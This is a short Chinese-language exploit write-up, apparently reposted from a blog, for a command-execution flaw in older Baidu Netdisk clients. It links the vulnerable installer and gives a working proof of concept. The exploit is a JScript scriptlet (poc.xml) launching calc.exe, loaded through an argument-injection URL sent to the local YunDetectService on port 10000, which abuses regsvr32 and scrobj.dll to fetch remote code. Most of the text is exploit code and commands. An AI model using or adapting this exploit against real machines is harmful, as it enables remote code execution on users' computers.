1- 杨CC对工具的评价

简单好用,但是需要将百度网盘的版本降低在7.59.5.14以下.

百度网盘7.59.5.104以下版本，存在命令执行漏洞

下载地址https://136892-1793258927.antpcdn.com:19001/b/pkg-ant.baidu.com/issue/netdisk/yunguanjia/BaiduNetdisk_7.59.5.104.exe

文章来源:https://www.n0o0b.com/archives/1756987096966

2- 漏洞利用说明

YunDetectService.exe默认开机自启，无需登录，会在10000端口监听，若被挤占则+1顺延

1
2
3

# 命令说明
netstat -ano | findstr 10000 # 检查10000端口
tasklist | findstr 16124 # 检查是否运行YunDetectService , 也可以使用tasklist 查看相关进程

poc.xml 用于远程加载.可以使用python -m http.server运行

<?xml version="1.0"?>
<scriptlet>
  <registration
    progid="poc"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
      <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
      ]]>
    </script>
  </registration>
</scriptlet>

触发对应漏洞

1
2

https://127.0.0.1:10000/?method=OpenSafeBox&uk=n0o0b -install regdll "C:\Windows\System32\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml "..\..\..\..\..\..\..\..\Users\administrator\AppData\Roaming\baidu\BaiduNetdisk"
# admin 需要更换为主机的名称

实际执行

"C:\Users\admin\AppData\Roaming\baidu\BaiduNetdisk\BaiduNetdisk.exe" -opensafebox -userkey n0o0b -install regdll "C:\Windows\System32\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml "..\..\..\..\..\..\..\..\Users\administrator\AppData\Roaming\baidu\BaiduNetdisk"